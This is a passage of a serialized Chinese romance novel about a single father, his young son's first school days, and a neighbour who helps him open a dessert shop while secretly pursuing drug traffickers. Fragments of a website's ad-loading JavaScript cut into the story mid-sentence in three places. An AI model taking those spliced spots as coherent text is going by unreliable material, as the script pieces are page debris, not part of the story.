“先甭管我,你怎么回事?” “我——”邢明业拧开保温杯盖,嘴皮子刚碰个边放下,“老章,问你噢,镜花水月是个啥意思?” 老章眉心微跳,当场拿出手机百度,翻给他看。官方释义:镜中的花,水里的月,梦幻遥不可及。 邢明业指着上面,皱眉,“这不是形容人的吧?” “那肯定啊。” 既然这样,蔺宵怎么拿这种听着就不吉利的词儿去形容一个人,还是个男人? — 烧已经完全退了,精神还要多养一段时间。沈庭章这些天得空了就在想,如何感谢蔺宵。 毕竟救了他一命,单纯请一顿饭,未免太轻。 得慎重考虑。 这一考虑就到了九月初,小满开学。 八点半报道,小满七点半就坐到餐桌旁,异常焦灼地望着厨房里做早饭的人。 隔一分钟看眼时间,等沈庭章将早饭摆上桌,暗戳戳提醒:“爸爸,小满今天开学。” “嗯,是不是很开心?今天很早就醒了呢。”沈庭章将一颗剥了壳的水煮蛋放他碗里。 沈小满跟着看向自己的碗,刚咧开嘴立马收住。 现在不是说其他的时候。 他又抬头望着人:“小满只刚来的时候去过一次,可能不太记得路。” 虽然距离只有十分钟,他觉得还是早 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点出发比较好。有爸爸在……四十分钟,估计都够呛。 沈庭章认真想了想,再往他碗里夹了只烧卖,“小满担心得很有道理,吃完我们就走吧。” 三乡巷小学,是附近最大的一所学校。 报道当天,校内外可以说是人山人海,也多亏了有这么多人,小满才能卡着点进学校。 “一年级2班……爸爸,走错了,这里是三年级。”瞥见教室上方的牌子,小满拉着状况外的沈庭章扭头就走。 这一路也是不容易,又要找教室,还要盯着稍不注意就会被人围观的爸爸。 真是的,自己没有爸爸么,非要看他爸爸。 沈小满上上下下,跑完一栋教学楼,奔向另一栋,恰巧在楼下碰上小扬哥哥和…… “哦?沈哥!”周扬牵着妹妹过来打招呼,问:“小满在哪个班呀?” “2班。” “那真是太巧了!漫漫也在2班。一起走吧。” 小满长长舒了口气。 今天只是报道,周一才正式上课,班主任先将书本发下去,和各位家长面对面建了个群。 “沈哥,你朋友圈什么都没有啊。” 周扬最终还是先蔺宵一步,加上他微信。 不存在仅展示三天,沈庭章的朋友圈是真的干干净净,头像是一张油画,向日葵。 “……” 可能,这就是三十岁人的生活方式吧,有一天,他也会变成这样。 周扬默默emo了几秒。 建完群,立马就有好几位家长自告奋勇担任管理,并在群里详尽阐明了自己的优势。 周扬没有优势,一头白发,配上那身流里流气的穿搭,一眼就看出来是个混混,而沈庭章,正一点一点抠群聊信息,错过了,还将推上去的信息再翻下来。 “沈哥,别看了,老师有事会@所有人的。” 话落下一秒,群里发来一张座位表。 周漫漫个子矮,排在了讲台下第一排。 “哈哈哈,讲台下面,漫漫你有福咯,嘶!”笑没两声,就被狠狠踩了一脚。 周漫漫气鼓鼓瞪他,哼一声,昂起下巴。 “这么不经逗。”周扬抱着那只脚,龇牙咧嘴揉两下,又去问沈庭章:“小满坐哪儿啊。” 他好像没看到沈小满的名字。 “中间第三排。”沈庭章回他。 第三排只有一个姓沈的,名字在一众“伟”“建”“洋”里头异常突出。 遇书。 沈遇书。 周扬之前还奇怪,爸爸叫庭章,怎么给孩子起这种名字,“小满原来是小名啊。” 排完座位,缴清学费和中午在学校吃的伙食费,差不多也十一点了。 学生和家长陆续走出教学楼。 周漫漫到现在都还记着哥哥笑她的事,出了教室就甩开他的手,抱住沈庭章。 周扬:臭丫头! 周漫漫:臭哥哥!! 视线在空中激烈碰撞,擦出强劲火花。 “这都中午了。”沈庭章强行掐灭,“我家离这儿挺近的,要不,去我家吃饭吧。” “好啊!” “好耶!” 小满背着人悄悄松口气:看来能早点回去了。 11. 不动声色 开车不到五分钟,拐进幸福里居。 到家以后,沈庭章就去了厨房,周扬不好意思吃白食,拎着菜跟进去。 “沈哥,我帮你呗。” 沈庭章稍想想,从冰箱里拿出几根胡萝卜给他,“那就麻烦你了。” “小意思。” 十分钟后… “周扬,这是什么?” 沈庭章蒸上排骨,准备做下一道菜,扭头就见菜板上一堆橙红“积木”。 周扬放下菜刀,挠了挠额角,“这,这个是……” 胡萝卜,不规则形状的胡萝卜。 沈庭章看出来了,什么也没说,甚至连表情都没变,转手又将一篮洗干净的小白菜递给他。 两分钟后,菜板上再次七零八落。 沈庭章:“……” “沈哥你听我辩解,解释,其实我是想……” “噗噗!哥哥总是在帮倒忙。”周漫漫跑过来,捂着嘴咯咯笑地超级大声,“他根本不会做饭,只会煮面条。” “去去去,瞎说什么啊你。”周扬赶紧轰走拆他台的妹妹,脸上一阵烧得慌:“抱歉,沈哥。” 本想帮个忙,结果,越帮越忙。 “会煮面好啊。”本以为要将他轰出去了,沈庭章舒展眉眼,来一句:“正好。我正打算煮面,可以再麻烦你一次么?” “……当然可以!”周扬龇着个牙撸起袖子,接过一口深锅兴冲冲去接水,“沈哥你就放心交给我吧,面我最拿手了。” 小满抓本书跑过来,得知中午改吃面条,扯着人衣摆:“今天不是米饭……” 沈庭章温柔揪住他的嘴带出去。 “书有什么问题?” 闭口不提为什么中途换主食。 两小孩儿对视一眼,同时举起包了一半的新书,“老师说,每本书都要包一下封面,然后写上自己名字。” 他们不会包,书皮揉得皱皱巴巴。 沈庭章也不会。 几本书摊开在庭院桌子上,一筹莫展。 他尝试几次,问:“一定要包么?不包会怎样?” “卷边。” 低哑声从身后传来。 蔺宵穿件黑背心,打着哈欠走到院墙前,先注意到他身边的小女孩儿,“漫漫,你怎么在这儿?” “元宵哥哥中午好呀。”周漫漫乖乖打声招呼,转头抱住沈庭章,“庭哥哥让我们来吃午饭。” 蔺宵挑眉:“我们?” “面条好咯!” 周扬擦着手大步跨出堂屋,迎面就撞见一双漆黑的眼睛,笑容顿时定格脸上,“宵,宵哥,您醒了啊。” 头慢慢低下去,不敢对视。 完蛋了! 过来也没提前跟宵哥说一声。 话说这个点,他不应该在补觉么?怎么这么早就醒了? 周扬想问又不敢问,尤其想到他有严重的起床气,脚尖朝外,已经开始准备跑路。 这时候,居然还有人不知死活凑上前。 “不知死活”的沈庭章:“正好午饭快做好了,要一起吃点吗。” 周扬默默在心里为他祷告。 下一秒,就听一声——“好。” 周扬:? 蔺宵绕过院墙,从正门进来。 周扬:?? 人目不斜视越过他,走到爬藤架下,指尖轻抚过桌上的小学课本,“好怀念啊,记得小时候,老师也曾叫我们包书皮。” “这么说,哥哥会包咯!” “嗯。” 小满蹬蹬绕开桌子,过去拽他,“那哥哥帮我包,好不好?” “好。” 蔺宵格外好说话。 一只皙白的手就勾住沈小满下巴,拉回自己身边。沈庭章捏捏他的肉包,“在这之前,先让哥哥吃饭。” 几人陆续回屋。 周扬缀在后头,抵着下巴故作沉思:宵哥今天被什么脏东西附身了? 直到发现他暗戳戳盯着沈哥,猛一拍脑门。 哎呀!他怎么给忘了。 宵哥喜欢沈庭章啊!在喜欢的人面前,可不得收敛点脾气。 周扬大彻大悟,随即为了自身安全,展开行动。 抄起漫漫先一步占据桌对面,这样一来,无论宵哥坐哪边都在沈哥旁边,近水楼台先得月……嘿嘿嘿,他可真是个天才。 周漫漫:“我要跟庭哥哥坐一起。” 周扬:妹妹,给你哥留条活路吧。 周扬压住她,诱惑:“乖乖坐哥哥身边,下午就带你去买芭比娃娃。” “真的?” “比真金还真。” 周漫漫立马乖巧坐着不动了。 菜很快端上桌,有粉蒸排骨、卤牛肉、胡萝卜…不规则胡萝卜片拌菠菜苗,以及鲫鱼豆腐汤。 最后是一大锅的面。 面? 三菜一汤配面条? 好神奇的搭配。 蔺宵绕过其他菜,先去夹了一筷没什么卖相和食欲的面条,入口刹那,冰冷的目光直射向周扬。 周扬无故抖两下,转头问沈庭章:“味道怎么样?” “……还不错。” 沈庭章镇定吃两口,若无其事倒来一杯温水。 — 饭后。 蔺宵被两个小孩儿拉着,给他们包书。 看似简单,折几折就牢牢贴在书面上,实际动起手来…… 周漫漫拎着破破烂烂的书角,和小满面面相觑。 两人半斤八两,谁也别想笑话谁。 倒是沈庭章,看一遍就会了。 “沈哥手可真巧,学得又快。”洗完碗放架子上沥干,周扬顺便将厨房也收拾干净。 出来就见妹妹正央着沈庭章给她包书,完完全全按照蔺宵的样式,一比一复刻。 他随口问:“沈哥以前是干什么的啊?” 手中的纸折到一半停下,沈庭章很认真地想了下,“大概……画画吧。” 回答十分含糊。 周扬反应了会儿,将他的话在脑中重新组词,“哦!画家!”彩虹屁张口就来,“沈哥厉害啊,又会做饭又会画画的,手工也这么好,简直完美!” 他又问:“沈哥以后还是继续画画?都画些什么啊?” … 包完两个孩子的书,沈庭章带他们去了阁楼。 这里,一半充作小满的读书区,两排五层的小架子放满各种儿童读物,另一半是颜料,撑开的画板上还夹着一张早已干透的油画。 周扬凑近细看那幅向日葵,隐隐觉得在哪儿见过。 “梵高的,向日葵。” 蔺宵先认出,目光微垂,落向画纸右下角显眼的手写签名:玉竹。 “哦对对对,梵高……”周扬连连点头,说一半突然打住,“我想起来了!这是沈哥的微信头像啊。” 沈庭章不置可否。 蔺宵一顿,回头,“微信?” “对啊,沈哥微信,家长群里加的。”周扬还特地掏出手机给他看,玩笑道:“沈哥朋友圈跟毛坯似的。” 不像他,一天三条起步,早已经精装。 蔺宵上下眼皮一碰,像是翻了个白眼,转而指向那幅油画:“这是临摹品,沈哥难道就是靠这个赚钱?” 难怪,没见他出去工作。 沈庭章摇了摇头,“这不过是我的一点爱好。” 提到赚钱—— 说起来,身上的钱好像确实不多了。 “这个也能卖?” 他当初卖画买房,卖的是自己原创的两幅,毕竟买主点名道姓要“玉竹”的画。 要是临摹也可以的话…… “卖能卖,不违法就行。但在同里这种地方,可能有点困难。”蔺宵主动揽下:“沈哥要是信得过,这事不如交给我去办。” 周扬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跟着点头,附和:“宵哥路子广,渠道多,哥你找他肯定不吃亏。” 如此极力推荐,沈庭章也说不出拒绝二字。 “那就拜托你了。” 蔺宵极其自然地拿出手机,“到时候有消息了,我联系你。” “好。” 滴—— 微信添加成功。 … 楼上除了书就是画,几人大致转一圈就下去。 走到楼梯口,先听到一阵拌嘴声,声音尖锐地恨不得将整个房子都抬起来。 两个小孩儿互相笑对方,字写得丑。 “祖宗诶。”周扬头皮发紧,大跨两步下去,长臂一捞将气炸毛的妹妹夹腋下,“时间不早了,我们就先回去了。沈哥,小满,周一见!” 说完,一溜烟儿跑出门。 走远了,还能听到他低声下气地哄:“行了,别气了祖宗,给你买娃娃行不行?两个?好,两个就两个。” 沈庭章笑了笑,回头见小满仍气鼓鼓瞪着门外,起了心思逗他:“爸爸也给你买娃娃好不好。” “我是男子汉大丈夫,才不要那种东西。”小满哼一声,昂起下巴。 沈庭章顺着他的话:“既然是男子汉大丈夫,怎么还跟漫漫拌起嘴来了?” “那是因为……”小满抓了抓手里的本子,上面的字歪七扭八。 漫漫笑他和蚯蚓没什么区别,他不甘示弱,回了句“总比你狗爬的好”,人就炸了。 沈庭章摸他脑袋,“刚开始,字写不好看很正常,大家的字都不好看,以后多练练就好了,下次可不能把人家女孩子气哭。” “知道了。” “小满最乖了。去看会儿书吧,爸爸下午给你烤柠檬派。” “好耶!柠檬派,柠檬派……”郁气霎时消散,小满抱着本子乐呵呵跑上阁楼。 沈庭章温柔注视着,直到他安全上楼后收回视线,对上蔺宵颇玩味的笑。 “怎么了?” “沈哥原来会烤柠檬派啊。” 一句话,让他想起去海边那次在车上的谦词,连忙找话补救:“只是会烤,味道也就一般般。” “是嘛。” 蔺宵不大信了。按照他上次拿出的蝴蝶酥水准看,味道应该不止一般。 “那待会儿你要尝尝么。” “好……”手机传来两声震动,蔺宵快速扫一眼,闭眼叹气:“还有点事,沈哥要不给我留一块吧。等我晚上回来吃。” 沈庭章点点头。 然而等到半夜,蔺宵也没回来。 只十点的时候微信上发来一句抱歉,“今天工作多,逃不掉了,柠檬派还是下次吧。” 后面附带一只小猫低落的表情包。 — 晚上十点,三乡巷废弃码头。 蔺宵虚虚靠在集装箱前,消息发出去后,隔半分钟看眼手机。 亮光在黑暗中频繁地一闪一熄。 远处空地上模糊趴着几个不知生死的男人,一旁染血的手提箱大敞,散出几包白色粉末。 “老大,问了,他们就是群马夫,拿钱办事,不知道交易对象是谁。”一头红毛扛着钢棍靠近,恰巧微信进了条新消息,看到俩字“好的”。 他顺嘴一问:“老大跟谁发消息呢。” “嗯?没谁。”蔺宵立刻回个托腮眨眼的表情包,抬头一瞬收起笑,“既然问不出来,扔海里去。” “哦,哦。”小牧边往后走,边回头又看了眼老大,差点被脚下空瓶子绊个狗吃屎。 真是见鬼了,有生之年能看到老大笑那么开心! “你们几个。”他招呼底下人,指向地上一滩烂泥,“把老大…不是,把他们扔下去。” 话刚撂完,一头白毛横冲直撞过来。 “宵,宵哥。”周扬喘得上气不接下气。 “啧!不是让你守着入口么?” “条子来了。” 12. 柠檬派 警笛声四起,径直朝码头方向包抄过来。 天微亮时,拷上一批人离开。 …… 第二天就是周一,也是小满正式上学的日子。 沈庭章早早起床做了一桌子早餐,中式的,西式的,外加一堆甜点。 “爸爸…我吃不下。” 开学的那股兴奋劲儿,报道当天就过去了。 一想到以后每个星期有五天要早起去上学,小满提前开始犯懒。顶着鸡窝头坐到餐桌前,眼睛都没睁开,还要面对爸爸大量的爱心投喂。 沈庭章默默撤下去一些,端走一个六寸披萨时还分外疑惑地嘀咕:上学不是最耗体力的么。 “……” 为了不辜负爸爸对他的“爱”,小满还是努力地,比平时多吃了两个糯米烧麦。 背上小书包,牵着爸爸手出门。 他大致记得去学校的路,肯定没问题! 走到院门口,沈庭章忽然停下,看了眼隔壁。 大门依旧锁着,聊天记录也一直停在小人儿托腮眨眼的表情包上,蔺宵大概一整夜都没回来。 究竟是什么工作,这么忙。 “爸爸。”小满拽两下手,小声喊他,“再不走,小满要迟到了。” 沈庭章匆忙回神,关上门。 走出幸福里居,与其说送,不如说小满领着他。 走着走着他就发现不对,“小满,这跟昨天走得好像不是同一条路。” 小满心里咯噔了一声,连忙找补:“这是小扬哥哥告诉小满的近路,走近路能快很多。” “这样啊。” “嗯嗯。”小满一本正经,“爸爸,你就放心跟着我吧。” 沈庭章轻轻笑了声,握紧他的手。 “好。跟着小满。” 沈小满战战兢兢松口气,不想说,其实这才是去学校的正路,至于报道那天……欸!不提也罢。 现在只要能到学校就好。 五分钟后,两人成功——拐进了胡同死角。 沈小满一整个怀疑人生。 这是他带的路?他居然也迷路了? 不不不,不可能,他怎么可能会迷路! 一定是……走错了。 沈小满憋着口气继续转。 蔺宵抄近路回家,转过拐角就发现他们在胡同里瞎转。 大清早的,鬼打墙了? 迈步正要过去,额头上这时一阵刺痛。 他摸了摸刚包扎好的伤口,陷入犹豫:要是现在出现,这伤该如何解释。 没等他想个两全法子,小满已经凭借自己超强的第六感找到出路,随即拉上爸爸,走得飞快。 上学要迟到了!!! 蔺宵退回拐角处,站了数分钟,转头往家走。 回家先避开伤口洗了个澡。 等他洗完出来,手机上新进一条消息,来自老邢:“我们是接到举报才去的。刚去查了,是个未实名的新号,查不到机主,蔺宵,你这是被人坑了。” 还是往死里坑。 蔺宵随手抓来一块毛巾,边擦头边回:“不管怎么说,可以肯定,又有人在同里贩这些。不是那两个,也是其他小帮小派,总归不是一无所获。” 从结果上看,的确如此。 可老邢现在最担心的,是他,颇一股鱼死网破的架势。 “别玩儿命,你得看着他们,到最后。” 老邢阻止不了他,只能用这种近乎压榨的手段逼迫他,好好看着,好好活着。 隔了许久,手机上才又传来一条消息,很简短的三个字:放心吧。 宿哥的仇还没报呢。 蔺宵放下手机,头发擦到半干就窝沙发上睡了。 梦里又回到六年前的雨夜。 那个潮湿闷热的夜晚,怎么也让人静不下心去复习。 以他的成绩,距离宿哥母校燕北公安大学的分数线还差一点,他得再加把劲。 要是考上了,就能跟着宿哥一起去燕北,顺便见见那个让宿哥常挂在嘴边的小少爷,到底是有多好。 话说回来,宿哥今晚也在所里值班吧。 正想着,手机突然响了,来电显示:宿喻州。 几乎是一秒接下。 “宿哥!” “……小,云宵……” “宿哥你怎么了?发生什么事了,声音这么低?” “元宵……哥……对不起,哥要食言了。” “哥你在哪儿!” 蔺宵骤然起身,狂奔出去。 外面的雨越下越大,电话里声音也越来越低,偶尔夹杂模糊的一两声枪响,和无尽呼啸的风声。 这么大的风,一定是在开阔地。 最后,他在距离海岸五公里的草丛里,沿一路斑驳血迹找到支离破碎的人。 右臂和左腿各两枪,背部三枪,打中了肺,一口气随时断掉。 他这才意识到,自己平时只能算是小打小闹,和这个相比,根本不值一提。 雨水打在脸上,忍不住发抖。 “哥……” “小州!” 邢明业随后赶来,抱起人。 “师,师傅。”宿喻州费力睁开眼,用尽最后一丝力气,“他们的交易对象就在同里,不止贩卖人口,还有毒品,一定要,一定要抓到,一定……” 邢明业喉头一哽,咽下去重重点头,“你放心,会抓到的,一定会抓到的。” “一定”两个字在这个雨夜回荡了很久… 蔺宵被一阵关门声惊醒,坐起身揩了揩眼角,走到窗边,正好瞧见沈庭章锁门出去。 回头看眼时间,还不到四点。 小满不是四点半才放学么? 想起早上双双走错路的父子俩,他迅速换了件衬衫跟上。 眼看着沈庭章往其他方向走。 这个方向,离超市不远。 原来是去买菜。 蔺宵慢慢停下脚步,松了口气。 可还没等把心放回肚子,沈庭章路过超市继续往前,然后自然而然拐进超市后头的巷子,不到一分钟,捏着鼻子出来。 那是个死胡同,里头堆放着各种垃圾。 …… 心有点放不下。 蔺宵继续跟。 接着发现他在同一个地方不停绕圈子,遇到人问过路,没过一会儿又走错了。 如果没记错,他搬到这里有一个多月了吧。 在持续跟了将近半小时后,蔺宵终于察觉到,沈庭章是个路痴,而且非常严重。 他就没见过谁开个电子导航都能走错的。 “呵呵。”不禁笑出声。 沈庭章狐疑回头,见身后无人,晃了晃脑袋往前。 这时距离放学还有将近十分钟,陆续有家长开着小车去接孩子。 擦肩而过后,沈庭章停下来,默默转身跟上那些车,总算赶在放学前到达。 小学门外马路两侧早已停满车,也站满人。 沈庭章挤不到门口,在附近找了棵显眼的树。 “呀!你是一年2班遇书他爸爸吧。”刚能歇口气,听见人叫他。 转过头,是两个三十出头的女人。 出声的先介绍道:“我女儿莹莹也是2班的,昨天报道我们还见过呢。” 人太多,沈庭章没什么印象,但还是礼貌地点头问了个好。 莹莹妈又问:“听你口音,不是本地的吧。” “北宁的。” “哦!难怪呢。”莹莹妈就跟旁边人笑,“大城市来的人就是好看啊。” 沈庭章跟着笑笑。 聊两句,发现他不是很健谈,莹莹妈转头去找树下其他人。 “诶你们听说了么,昨儿晚上码头那边出大事了呢。” “什么事啊?新闻上没说啊。” “新闻哪会说这个,听说是几个偷渡的,过来卖东西。” “这有什么不能说的?卖啥啊。” “一包一包能让人上瘾的那玩意儿,你说啥。” “毒……” “嘘!” 后面的声音压低了,沈庭章听不到,但大概也能猜到。 能让人上瘾的毒,毒品。 宿喻州就是因为这个牺牲的。 “爸爸! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 放学铃声响起,大批雏鸟离笼。 沈小满一出学校门,就看见了站在对面树下的人,蹬蹬跑过来。 沈庭章蹲下抱了抱他,“第一天,感觉怎么样?” “感觉很好,老师还夸我认得很多字呢!我说是爸爸教的。”沈小满小小骄傲了一把,大家都羡慕他有个这么漂亮的爸爸,“就是饭不好吃,没有爸爸做的好。” “那待会儿回去,爸爸给你多做两道。” “嗯!” 沈小满勾住他两根手指,高兴地蹦了蹦,领着人回家。 第一天上学,总体来说还是很开心的,老师也不像以前幼儿园的老师,老是骂他,说他笨,什么都学不好,还不叫其他小朋友跟他玩儿。 这里没人骂他,都夸他。 一下课,好多同学过来找他,虽然都在问爸爸的事,还有的,问能不能把爸爸借她几天。 开玩笑,爸爸怎么能借? “爸爸,我今天还听同学说,昨晚发生了一件很大的事,警察叔叔抓了好些坏人。”沈小满一下子想起刚来这里的那天,晚上也遇到过坏人。 那个时候,要不是小扬哥哥,他们都不知道该怎么办了? “这里坏人真的好多。” 虽然爸爸跟他说,哪里都有好人坏人,小满还是对这里害怕,晚上上厕所,都得先摇醒爸爸。 “坏人是多。” 沈庭章没有否认,顺手将他拉到道路里侧,捏了捏肉乎乎的脸,“但是你看,还有这么多小朋友和你一起上学,就说明,这里肯定还是好人更多,警察叔叔们也在无时无刻保护我们。所以,不要害怕,不要因为胆怯逃跑,这样会让坏人更加得意。” “哼哼!不能让他们高兴。” “对,得反过来,让他们产生胆怯和畏惧。” 小满似懂非懂点着头,又想起来,“我们班有个女孩儿,莹莹,邢晓莹,她说除了警察叔叔,还有别的人也一样在保护我们!” “哦?” “爸爸知道是谁么?” 沈庭章摇了摇头,“虽然不知道是谁,不过……和警察叔叔一样的人啊,也是英雄。” “莹莹说,她爷爷也是这样告诉她的。” 一路上,小满的嘴就没停过,提到最多的就是那个叫莹莹的女孩儿,也是她,先起头问他借爸爸。 莹莹没有爸爸,六年前牺牲了。 小满犹豫过,最终还是没有答应。他不能替爸爸做决定,不过约来家里玩儿应该没问题。 不出所料,沈庭章没有反对。 “莹莹,想必是个非常可爱的女孩子,要是真约到人了,提前一天跟爸爸说,爸爸给你们准备漂亮的糖果点心。” “爸爸真好!” …… 父子俩说着话,不知不觉到家门口,恰巧遇见蔺宵,似刚从外面回来。 “蔺宵哥哥!” “开学第一天,怎么样?”蔺宵走过来,摸他头。 小满像个啾啾叫的小麻雀,又说了一遍今天在学校发生的事。说完,疑惑望着他的额头,“哥哥受伤了?” “嗯,一点小擦伤。”蔺宵摸了摸,抬眼看沈庭章,“没什么大事。沈哥,还有柠檬派么。” “……有。” 开门回家,小满乖乖去写作业。 沈庭章进了厨房,和馅揉面团,现做柠檬派。 放进烤箱约莫半小时,屋子里渐渐弥漫开清香开胃的热柠檬味。 沈庭章切一块给小满先填填肚子,剩下的都拿给他。 “味道怎么样?” 蔺宵咬了一口,柠檬味不是很浓,酸甜适度,意外地很好入口。 巴掌大小一块,两三口就没了。蔺宵又上手拿了一块再咬,这一块,里面加了点坚果。 “每一口都是种全新的体验,只有喜欢不变。”不像第一块囫囵,这次,蔺宵细细品尝起来。 沈庭章很高兴能得这样的评价,摘下防烫手套,说了声“谢谢”。 “沈哥这样好的手艺,不去开店,真是可惜了。” “开店?” “嗯,甜品店。” 13. 微信备注AAA 这倒是个好主意。 虽说临摹作画也能赚钱,可什么时候卖出去还是个未知数,加上家里开销,小满上学…… 沈庭章:“真的能开店?” “当然。”蔺宵吃完手里这块,顺带舔了下指腹,“放眼整个同里,恐怕也难找到比沈哥做的柠檬派还要好吃的。那要不然,明天我带其他店里的,给沈哥尝尝。” “口味各有千秋。”沈庭章倒不是担心味道,而是——“我从没有开过店。” 他没经验,更不知道从哪儿下手。 “这好办,我开过。”蔺宵战术性咳一声,“沈哥要是真想开店,我可以帮你。不过这事不急,沈哥再好好考虑考虑。” …… 考虑了整整一星期。 和小满商量过后,沈庭章最终定下这个想法。 接着就面临一个新的问题。他问蔺宵:“开店需要多少资金?我身上的钱,可能不太够。” “这个沈哥不用担心,钱不够,我借给你。” 第二天,蔺宵就抱来电脑打开文档,上面是列出的一些开店事项,包括选址、注册登记到装修取名、聘请人员乃至营销手段,事无巨细。 “首先是选址,沈哥开店目的是为了赚钱,那必得选个客流量大的地方,一般这种地方房租都不会便宜,沈哥得有个心理准备。”他顿了顿,试探:“冒昧问一句,沈哥目前能拿出多少?” “不到六十万。” “……” “是不是不够?”沈庭章咬了咬唇,“差太多的话,还是算了。” 这五十多万是当初卖画买房剩下的钱,还要留一部分家用和小满上学,他不能为了开间店把钱都砸里头。 “不,不是差。足够了。” 蔺宵另打开一份文档,“想来沈哥没打算开多大,我先做了个大致的店面展示图,林林总总下来,预算大概在10万,至多不超过15万。” “这么便宜?” “开饮食店基本就这个数,上下不会浮动太多。” 再怎么没开过店的新手,也该知道价格不会高到哪里去,更不要说是在同里这种小镇。 他怎么好像对钱没什么概念。 “这样看,我的资金还蛮充足的,就不问你借了。”沈庭章长舒口气,安了点心,对这事越发感兴趣,“刚才说到哪儿了。” 蔺宵收起那点小小的疑惑,切换文档继续分析。 “我看沈哥没置办什么交通工具,又要照顾小满上学,地方一定不能离家太远,所以……” 他又打开一张同里全貌地图。 在幸福里居和三乡巷小学上做标记,以此圈了个半径一公里的圈,又将这里头正在出租,或即将打算出租的店铺着重打上星号。 所有地方清清楚楚。 沈庭章做决定时还很忐忑,这会儿竟觉得也还好,比想象中轻松多了。 将小满送去学校,就跟他实地去看看那些铺子。 商场里的是好,客流量也大,只是一层一层的,沈庭章没一会儿就迷路了; 幸福里居附近,房租倒便宜,人却不多,也多以老人为主,不大爱吃那些奶油打发的甜点…… “开店前期考验的就是心态。”回去路上,见他没什么精神,蔺宵故作轻松:“当初为了我那家店,也花了有大半年时间呢,不着急。” 他看眼手表,“时间差不多了,我们先去接小满吧。” 沈庭章还在想开店的事,没听进去就点了点头,忽略了他话里的“我们”。 还是到校门口,周扬嚎了一嗓子“宵哥你怎么在这儿”才反应过来。 他先解释:“蔺宵刚刚带我去看店铺了,顺道就一起过来。” “店铺?”周扬注意力立马被引走,“啥店铺啊?” “我打算开个甜品店。” “这个好啊,小孩儿都爱吃。” 周扬没心没肺笑。 听他说,是蔺宵帮他一块儿选地方做参考,视线平移挪向旁边。 宵哥还真是一如既往的热心肠。 难怪连着几天,抱着电子地图,就在勾选合适的地方。 不知道的还以为他要开分店呢。 … “宵哥,又在忙呢。” 酒吧里,周扬偷瞄眼电脑屏幕,顺手递过去一杯威士忌,啧啧:“这要是沈哥知道了,不得感动死?” “为什么要让他知道,早点把事情定下来不就行了。” 周扬:? “哥做这么多,难道不是因为喜欢沈哥么?” 手指蓦地悬在键盘上。 蔺宵终于舍得抬头,跟他隔空对视许久,缓缓闭上眼:“他有儿子。” “有儿子怎么了?他现在单身啊。”周扬立马挪到他身边,左右看看,“我妹问了,小满妈妈在他出生时就难产去世了,这都六年多了。” “可是……” “有什么可是的。哥要是喜欢,就光明正大地追啊,怕啥。” 像现在这样,背地里做这许多,对方又不知道,多吃亏。 “他有儿子。”蔺宵重复一句叹气:“总归他是喜欢女人的。” 周扬摸摸鼻子,“那万一变了呢?” “……” 蔺宵冷眼睨他,“你到底想说什么。” “我的意思是,”周扬眼神飘忽,声音愈发地小,“要不问问,哥心里不也能有点数么。” 能有这么好心? 蔺宵关上电脑,抱臂挑眉:“哦?那依你高见,该怎么问才好?” “我有个想法,这不马上快中秋了嘛,咱们拉沈哥再找几个人……”眼珠子滴溜乱转,嘿嘿笑:“顺便喊上婷婷一起聚聚,玩几个游戏套一套,这话不就出来了。” “哦——廖婷婷。” 周扬一哽,心虚地撇开头:“顺便的事嘛。” 蔺宵:“呵。” 其他是顺便,这个才是主要的。 “你知不知道,廖婷婷是皇马那边的。” 皇马夜总会,白凤主场。 “婷婷她就是个普通服务生,和其他人不一样!” 蔺宵默了数秒,懒得跟他辩,“既然都有这个想法了,就去办吧。办不好,以后都别想进幸福里居。” — 九月下旬。 中秋连着国庆共放8天,不调休。 前段时间,台风擦着边刮了两回,下过几阵暴雨,温度一下降到30度下。 沈庭章体寒,早早换上加绒卫衣,接小满放学。 只是刮台风的这几天没来,学校四周似乎就有些变样了,路两侧的树秃了不少,环卫工人正用竹扫把将落叶扫堆到一块儿。 秋风四起,沈庭章捏住卫衣领,将下巴收进去,忽地注意到校斜对面一排商铺中,有一家挂着招租广告。 “以前还没有,应该是近两日才挂上去的。”回去后把这事告诉蔺宵,蔺宵边点头边道:“离得不算远,就在学校对面,平时客流量不小,还能兼顾到小满,简直一举多得!” 一致认为那地方很好。 沈庭章当即给商铺上留的招租电话打过去。 周扬知道这件事后,第一时间过来祝贺,“沈哥我跟你说,这地方选好,就成功一半儿了呢。怎么样?要不要庆祝一下?” “庆祝?” “对啊,正好这不到中秋了嘛,我们,”他看了眼蔺宵,“我们兄弟几个打算聚聚,沈哥也一起来嘛。” “可是小满一个人……” “小满没关系,那天我外婆来我这儿过节,小满接过去跟我外婆就行,她老人家最喜欢小孩儿了。” 周扬热情相邀,沈庭章实在招架不住求助蔺宵,却见他也正看着自己。 这段时间受了他不少帮助,不答应有些过意不去。 “那好吧。” … 当天晚上, 沈庭章将小满送到周扬家,正好周扬外婆也在。 慈眉善目的一位老奶奶,外衣上套一件酒红色长袖围裙,银发盘起,很有精神。 “哎呀,你们年轻人去玩儿吧。小满是吧?漫漫和小满就跟着我,外婆这就给你们烙馅饼去。” “外婆。”周扬满眼无奈,“刚才吃过饭。” “刚吃了咋了?小孩子不抗饿。”外婆直接把他赶出厨房。 周扬又是一阵望天叹气,说不动外婆,只能扒着车窗叮嘱妹妹,“别吃那么多啊,待会儿成猪了。” “臭哥哥!你才是猪呢!” 引擎声带走一阵骂骂咧咧。 穿过几条热闹的街市,拐进小巷,停在酒吧附近。 下车后,沈庭章跟着他们一边走一边看向四周,悄悄拉了下蔺宵,“这里这么偏,有生意么?” 能赚钱么? “沈哥这就不懂了。”周扬大步走在前头,扬声:“酒吧跟甜品店不一样,它就得安静……” “嘿!我就说你这张牌出错了吧!” “对J,你个老六!” 推开门,屋里头闹哄哄的。 周扬顿时像被人抽了一耳光。 “……你们几个。” “欸?刚才你输了啊,记得喝三杯。”一道沙哑的女声紧随其后。 角落卡座里,几个男生中间坐着个栗色长发女生,蓝色条纹衬衫搭黑色喇叭裤,右手拿牌,左手压在酒杯上。 食指戳到杯中,来回搅动酒液。 “婷婷!”周扬疾风一般瞬移过去,又是委屈又开心,“你来了怎么也不跟我提前说一声啊。” “跟你说干嘛?” 